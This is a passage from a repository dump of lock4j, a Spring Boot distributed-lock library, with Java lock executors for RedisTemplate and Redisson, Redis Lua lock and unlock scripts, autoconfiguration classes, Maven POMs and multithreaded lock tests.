    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.executor;\n\n/**\n * @author zengzhihong\n */\npublic abstract class AbstractLockExecutor<T> implements LockExecutor<T> {\n\n    protected T obtainLockInstance(boolean locked, T lockInstance) {\n        return locked ? lockInstance : null;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/executor/LockExecutor.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.executor;\n\n\n/**\n * 分布式锁核心处理器\n *\n * @author zengzhihong TaoYu\n */\npublic interface LockExecutor<T> {\n\n    /**\n     * 续期，目前只有redisson支持，切expire参数为-1才会续期\n     *\n     * @return 是否续期\n     */\n    default boolean renewal() {\n        return false;\n    }\n\n    /**\n     * 加锁\n     *\n     * @param lockKey        锁标识\n     * @param lockValue      锁值\n     * @param expire         锁有效时间\n     * @param acquireTimeout 获取锁超时时间\n     * @return 锁信息\n     */\n    T acquire(String lockKey, String lockValue, long expire, long acquireTimeout);\n\n    /**\n     * 解锁\n     *\n     * <pre>\n     * 为何解锁需要校验lockValue\n     * 客户端A加锁，一段时间之后客户端A解锁，在执行releaseLock之前，锁突然过期了。\n     * 此时客户端B尝试加锁成功，然后客户端A再执行releaseLock方法，则将客户端B的锁给解除了。\n     * </pre>\n     *\n     * @param key          加锁key\n     * @param value        加锁value\n     * @param lockInstance 锁实例\n     * @return 是否释放成功\n     */\n    boolean releaseLock(String key, String value, T lockInstance);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/spring/boot/autoconfigure/Lock4jProperties.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.spring.boot.autoconfigure;\n\nimport com.baomidou.lock.executor.LockExecutor;\nimport lombok.Getter;\nimport lombok.Setter;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * lock4j配置\n *\n * @author zengzhihong TaoYu\n */\n@Getter\n@Setter\n@ConfigurationProperties(prefix = \"lock4j\")\npublic class Lock4jProperties {\n\n    /**\n     * 过期时间 单位：毫秒\n     */\n    private Long expire = 30000L;\n\n    /**\n     * 获取锁超时时间 单位：毫秒\n     */\n    private Long acquireTimeout = 3000L;\n\n    /**\n     * 获取锁失败时重试时间间隔 单位：毫秒\n     */\n    private Long retryInterval = 100L;\n\n    /**\n     * 默认执行器，不设置默认取容器第一个(默认注入顺序，redisson>redisTemplate>zookeeper)\n     */\n    private Class<? extends LockExecutor> primaryExecutor;\n\n    /**\n     * 锁key前缀\n     */\n    private String lockKeyPrefix = \"lock4j\";\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/spring/boot/autoconfigure/LockAutoConfiguration.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.spring.boot.autoconfigure;\n\nimport com.baomidou.lock.*;\nimport com.baomidou.lock.aop.LockAnnotationAdvisor;\nimport com.baomidou.lock.aop.LockInterceptor;\nimport com.baomidou.lock.executor.LockExecutor;\nimport lombok.RequiredArgsConstructor;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.Ordered;\n\nimport java.util.List;\n\n/**\n * 分布式锁自动配置器\n *\n * @author zengzhihong TaoYu\n */\n@Configuration\n@EnableConfigurationProperties(Lock4jProperties.class)\n@RequiredArgsConstructor\npublic class LockAutoConfiguration {\n\n    private final Lock4jProperties properties;\n\n    @SuppressWarnings(\"rawtypes\")\n    @Bean\n    @ConditionalOnMissingBean\n    public LockTemplate lockTemplate(List<LockExecutor> executors) {\n        LockTemplate lockTemplate = new LockTemplate();\n        lockTemplate.setProperties(properties);\n        lockTemplate.setExecutors(executors);\n        return lockTemplate;\n    }\n\n    @Bean\n    @ConditionalOnMissingBean\n    public LockKeyBuilder lockKeyBuilder() {\n        return new DefaultLockKeyBuilder();\n    }\n\n    @Bean\n    @ConditionalOnMissingBean\n    public LockFailureStrategy lockFailureStrategy() {\n        return new DefaultLockFailureStrategy();\n    }\n\n    @Bean\n    @ConditionalOnMissingBean\n    public LockInterceptor lockInterceptor(LockTemplate lockTemplate, LockKeyBuilder lockKeyBuilder,\n                                           LockFailureStrategy lockFailureStrategy) {\n        return new LockInterceptor(lockTemplate, lockKeyBuilder, lockFailureStrategy, properties);\n    }\n\n    @Bean\n    @ConditionalOnMissingBean\n    public LockAnnotationAdvisor lockAnnotationAdvisor(LockInterceptor lockInterceptor) {\n        return new LockAnnotationAdvisor(lockInterceptor, Ordered.HIGHEST_PRECEDENCE);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/util/LockUtil.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.util;\n\nimport java.lang.management.ManagementFactory;\nimport java.net.InetAddress;\nimport java.net.NetworkInterface;\nimport java.util.UUID;\n\n/**\n * 分布式锁工具类\n *\n * @author zengzhihong TaoYu\n */\npublic class LockUtil {\n\n    public static String getLockId() {\n        return simpleUUID();\n    }\n\n    /**\n     * 获取本机网卡地址\n     *\n     * @return macAddress\n     */\n    public static String getLocalMAC() {\n        String localMac;\n        try {\n            InetAddress ia = InetAddress.getLocalHost();\n            // 获得网络接口对象（即网卡），并得到mac地址，mac地址存在于一个byte数组中。\n            byte[] mac = NetworkInterface.getByInetAddress(ia).getHardwareAddress();\n            // 下面代码是把mac地址拼装成String\n            StringBuffer sb = new StringBuffer();\n            for (int i = 0; i < mac.length; i++) {\n                if (i != 0) {\n                    sb.append(\"-\");\n                }\n                // mac[i] & 0xFF 是为了把byte转化为正整数\n                String s = Integer.toHexString(mac[i] & 0xFF);\n                sb.append(s.length() == 1 ? 0 + s : s);\n            }\n            // 把字符串所有小写字母改为大写成为正规的mac地址并返回\n            localMac = sb.toString();\n        } catch (Exception e) {\n            //TODO 获取mac地址应该要做到最大化兼容\n            localMac = UUID.randomUUID().toString();\n        }\n        return localMac.toUpperCase().replace(\"-\", \"\");\n    }\n\n    /**\n     * 获取jvmPId\n     *\n     * @return jvmPid\n     */\n    public static String getJvmPid() {\n        String pid = ManagementFactory.getRuntimeMXBean().getName();\n        int indexOf = pid.indexOf('@');\n        if (indexOf > 0) {\n            pid = pid.substring(0, indexOf);\n            return pid;\n        }\n        throw new IllegalStateException(\"ManagementFactory error\");\n    }\n\n    /**\n     * 去除-的uuid\n     *\n     * @return simpleUUID\n     */\n    public static String simpleUUID() {\n        return UUID.randomUUID().toString().replace(\"-\", \"\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/resources/META-INF/spring.factories",
    "content": "#配置自定义Starter的自动化配置\norg.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\ncom.baomidou.lock.spring.boot.autoconfigure.LockAutoConfiguration"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-redis-template-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n  ~\n  ~  Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~  you may not use this file except in compliance with the License.\n  ~  You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~  Unless required by applicable law or agreed to in writing, software\n  ~  distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~  See the License for the specific language governing permissions and\n  ~  limitations under the License.\n  -->\n\n<project xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>lock4j</artifactId>\n        <groupId>com.baomidou</groupId>\n        <version>2.2.2</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>lock4j-redis-template-spring-boot-starter</artifactId>\n    <packaging>jar</packaging>\n\n    <dependencies>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>lock4j-core</artifactId>\n            <version>${project.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n    </dependencies>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-redis-template-spring-boot-starter/src/main/java/com/baomidou/lock/executor/RedisTemplateLockExecutor.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.executor;\n\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.data.redis.core.script.DefaultRedisScript;\nimport org.springframework.data.redis.core.script.RedisScript;\n\nimport java.util.Collections;\n\n/**\n * 分布式锁原生RedisTemplate处理器\n *\n * @author zengzhihong TaoYu\n */\n@Slf4j\n@RequiredArgsConstructor\npublic class RedisTemplateLockExecutor extends AbstractLockExecutor<String> {\n\n    private static final RedisScript<String> SCRIPT_LOCK = new DefaultRedisScript<>(\"return redis.call('set',KEYS[1],\" +\n            \"ARGV[1],'NX','PX',ARGV[2])\", String.class);\n    private static final RedisScript<String> SCRIPT_UNLOCK = new DefaultRedisScript<>(\"if redis.call('get',KEYS[1]) \" +\n            \"== ARGV[1] then return tostring(redis.call('del', KEYS[1])==1) else return 'false' end\", String.class);\n    private static final String LOCK_SUCCESS = \"OK\";\n\n    private final StringRedisTemplate redisTemplate;\n\n    @Override\n    public String acquire(String lockKey, String lockValue, long expire, long acquireTimeout) {\n        String lock = redisTemplate.execute(SCRIPT_LOCK,\n                redisTemplate.getStringSerializer(),\n                redisTemplate.getStringSerializer(),\n                Collections.singletonList(lockKey),\n                lockValue, String.valueOf(expire));\n        final boolean locked = LOCK_SUCCESS.equals(lock);\n        return obtainLockInstance(locked, lock);\n    }\n\n    @Override\n    public boolean releaseLock(String key, String value, String lockInstance) {\n        String releaseResult = redisTemplate.execute(SCRIPT_UNLOCK,\n                redisTemplate.getStringSerializer(),\n                redisTemplate.getStringSerializer(),\n                Collections.singletonList(key), value);\n        return Boolean.parseBoolean(releaseResult);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-redis-template-spring-boot-starter/src/main/java/com/baomidou/lock/spring/boot/autoconfigure/RedisTemplateLockAutoConfiguration.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.spring.boot.autoconfigure;\n\nimport com.baomidou.lock.executor.RedisTemplateLockExecutor;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.data.redis.core.RedisOperations;\nimport org.springframework.data.redis.core.StringRedisTemplate;\n\n/**\n * RedisTemplate锁自动配置器\n *\n * @author zengzhihong\n */\n@Configuration\n@ConditionalOnClass(RedisOperations.class)\npublic class RedisTemplateLockAutoConfiguration {\n\n    @Bean\n    @Order(200)\n    public RedisTemplateLockExecutor redisTemplateLockExecutor(StringRedisTemplate stringRedisTemplate) {\n        return new RedisTemplateLockExecutor(stringRedisTemplate);\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-redis-template-spring-boot-starter/src/main/resources/META-INF/spring.factories",
    "content": "#配置自定义Starter的自动化配置\norg.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\ncom.baomidou.lock.spring.boot.autoconfigure.RedisTemplateLockAutoConfiguration"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-redisson-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n  ~\n  ~  Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~  you may not use this file except in compliance with the License.\n  ~  You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~  Unless required by applicable law or agreed to in writing, software\n  ~  distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~  See the License for the specific language governing permissions and\n  ~  limitations under the License.\n  -->\n\n<project xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>lock4j</artifactId>\n        <groupId>com.baomidou</groupId>\n        <version>2.2.2</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>lock4j-redisson-spring-boot-starter</artifactId>\n    <packaging>jar</packaging>\n\n    <dependencies>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>lock4j-core</artifactId>\n            <version>${project.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.redisson</groupId>\n            <artifactId>redisson-spring-boot-starter</artifactId>\n            <version>${redisson.version}</version>\n        </dependency>\n    </dependencies>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-redisson-spring-boot-starter/src/main/java/com/baomidou/lock/executor/RedissonLockExecutor.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.executor;\n\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.redisson.api.RLock;\nimport org.redisson.api.RedissonClient;\n\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * redisson 重入锁\n *\n * @author zengzhihong TaoYu\n */\n@Slf4j\n@RequiredArgsConstructor\npublic class RedissonLockExecutor extends AbstractLockExecutor<RLock> {\n\n    private final RedissonClient redissonClient;\n\n    @Override\n    public boolean renewal() {\n        return true;\n    }\n\n    @Override\n    public RLock acquire(String lockKey, String lockValue, long expire, long acquireTimeout) {\n        try {\n            final RLock lockInstance = redissonClient.getLock(lockKey);\n            final boolean locked = lockInstance.tryLock(acquireTimeout, expire, TimeUnit.MILLISECONDS);\n            return obtainLockInstance(locked, lockInstance);\n        } catch (InterruptedException e) {\n            return null;\n        }\n    }\n\n    @Override\n    public boolean releaseLock(String key, String value, RLock lockInstance) {\n        if (lockInstance.isHeldByCurrentThread()) {\n            try {\n                return lockInstance.forceUnlockAsync().get();\n            } catch (ExecutionException | InterruptedException e) {\n                return false;\n            }\n        }\n        return false;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-redisson-spring-boot-starter/src/main/java/com/baomidou/lock/spring/boot/autoconfigure/RedissonLockAutoConfiguration.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.spring.boot.autoconfigure;\n\nimport com.baomidou.lock.executor.RedissonLockExecutor;\nimport org.redisson.Redisson;\nimport org.redisson.api.RedissonClient;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.annotation.Order;\n\n/**\n * Redisson锁自动配置器\n *\n * @author zengzhihong\n */\n@Configuration\n@ConditionalOnClass(Redisson.class)\nclass RedissonLockAutoConfiguration {\n    @Bean\n    @Order(100)\n    public RedissonLockExecutor redissonLockExecutor(RedissonClient redissonClient) {\n        return new RedissonLockExecutor(redissonClient);\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-redisson-spring-boot-starter/src/main/resources/META-INF/spring.factories",
    "content": "#配置自定义Starter的自动化配置\norg.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\ncom.baomidou.lock.spring.boot.autoconfigure.RedissonLockAutoConfiguration"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-test/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n  ~\n  ~  Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~  you may not use this file except in compliance with the License.\n  ~  You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~  Unless required by applicable law or agreed to in writing, software\n  ~  distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~  See the License for the specific language governing permissions and\n  ~  limitations under the License.\n  -->\n\n<project xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>lock4j</artifactId>\n        <groupId>com.baomidou</groupId>\n        <version>2.2.2</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>lock4j-test</artifactId>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>lock4j-redis-template-spring-boot-starter</artifactId>\n            <version>${project.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>lock4j-redisson-spring-boot-starter</artifactId>\n            <version>${project.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>lock4j-zookeeper-spring-boot-starter</artifactId>\n            <version>${project.version}</version>\n        </dependency>\n    </dependencies>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-test/src/main/java/com/baomidou/lock/test/SpringBootLockTest.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.test;\n\nimport com.baomidou.lock.test.model.User;\nimport com.baomidou.lock.test.service.UserService;\nimport lombok.SneakyThrows;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.test.context.SpringBootTest;\n\nimport java.util.Random;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\n@SuppressWarnings(\"ALL\")\n@SpringBootTest(classes = SpringBootLockTest.class)\n@SpringBootApplication\npublic class SpringBootLockTest {\n\n    private static final Random RANDOM = new Random();\n\n    @Autowired\n    UserService userService;\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootLockTest.class, args);\n    }\n\n    @SneakyThrows\n    @Test\n    public void simple1Test() {\n        ExecutorService executorService = Executors.newFixedThreadPool(10);\n        Runnable task = new Runnable() {\n            @Override\n            public void run() {\n                try {\n                    userService.simple1();\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n            }\n        };\n        for (int i = 0; i < 1000; i++) {\n            executorService.submit(task);\n        }\n        Thread.sleep(Long.MAX_VALUE);\n    }\n\n    @SneakyThrows\n    @Test\n    public void simple2Test() {\n        ExecutorService executorService = Executors.newFixedThreadPool(10);\n        Runnable task = new Runnable() {\n            @Override\n            public void run() {\n                try {\n                    userService.simple2(\"xxx_key\");\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n            }\n        };\n        for (int i = 0; i < 100; i++) {\n            executorService.submit(task);\n        }\n        Thread.sleep(Long.MAX_VALUE);\n    }\n\n    @SneakyThrows\n    @Test\n    public void spel1Test() {\n        ExecutorService executorService = Executors.newFixedThreadPool(10);\n        Runnable task = new Runnable() {\n            @Override\n            public void run() {\n                try {\n                    userService.method1(new User(1L, \"苞米豆\"));\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n            }\n        };\n        for (int i = 0; i < 100; i++) {\n            executorService.submit(task);\n        }\n        Thread.sleep(Long.MAX_VALUE);\n    }\n\n    @SneakyThrows\n    @Test\n    public void spel2Test() {\n        ExecutorService executorService = Executors.newFixedThreadPool(10);\n        Runnable task = new Runnable() {\n            @Override\n            public void run() {\n                try {\n                    userService.method2(new User(1L, \"苞米豆\"));\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n            }\n        };\n        for (int i = 0; i < 100; i++) {\n            executorService.submit(task);\n        }\n        Thread.sleep(Long.MAX_VALUE);\n    }\n\n    /**\n     * 编程式锁\n     */\n    @SneakyThrows\n    @Test\n    public void programmaticLock() {\n        ExecutorService executorService = Executors.newFixedThreadPool(10);\n        Runnable task = new Runnable() {\n            @Override\n            public void run() {\n                userService.programmaticLock(\"admin\");\n            }\n        };\n        for (int i = 0; i < 100; i++) {\n            executorService.submit(task);\n        }\n        Thread.sleep(Long.MAX_VALUE);\n    }\n\n    /**\n     * 重入锁\n     */\n    @Test\n    public void reentrantLock() {\n        userService.reentrantMethod1();\n        userService.reentrantMethod1();\n        userService.reentrantMethod2();\n    }\n\n    /**\n     * 不自动解锁\n     */\n    @SneakyThrows\n    @Test\n    public void nonAutoReleaseLock() {\n        ExecutorService executorService = Executors.newFixedThreadPool(10);\n        Runnable task = new Runnable() {\n            @Override\n            public void run() {\n                userService.nonAutoReleaseLock();\n            }\n        };\n        for (int i = 0; i < 100; i++) {\n            executorService.submit(task);\n        }\n        Thread.sleep(Long.MAX_VALUE);\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-test/src/main/java/com/baomidou/lock/test/custom/BusinessException.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.test.custom;\n\n/**\n * @author zengzhihong\n */\npublic class BusinessException extends RuntimeException {\n\n    public BusinessException() {\n    }\n\n    public BusinessException(String message) {\n        super(message);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-test/src/main/java/com/baomidou/lock/test/custom/CustomLockFailureStrategy.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.test.custom;\n\nimport com.baomidou.lock.LockFailureStrategy;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\n\nimport java.lang.reflect.Method;\n\n/**\n * 自定义获取锁异常处理\n *\n * @author zengzhihong\n */\n@Slf4j\n@Component\npublic class CustomLockFailureStrategy implements LockFailureStrategy {\n\n    @Override\n    public void onLockFailure(String key, Method method, Object[] arguments) {\n        log.error(\"获取锁失败了,key={},method={},arguments={}\", key, method, arguments);\n        // 此处可以抛出指定异常，配合全局异常拦截包装统一格式返回给调用端\n        throw new BusinessException(\"请求太快啦~\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-test/src/main/java/com/baomidou/lock/test/custom/CustomLockKeyBuilder.java",
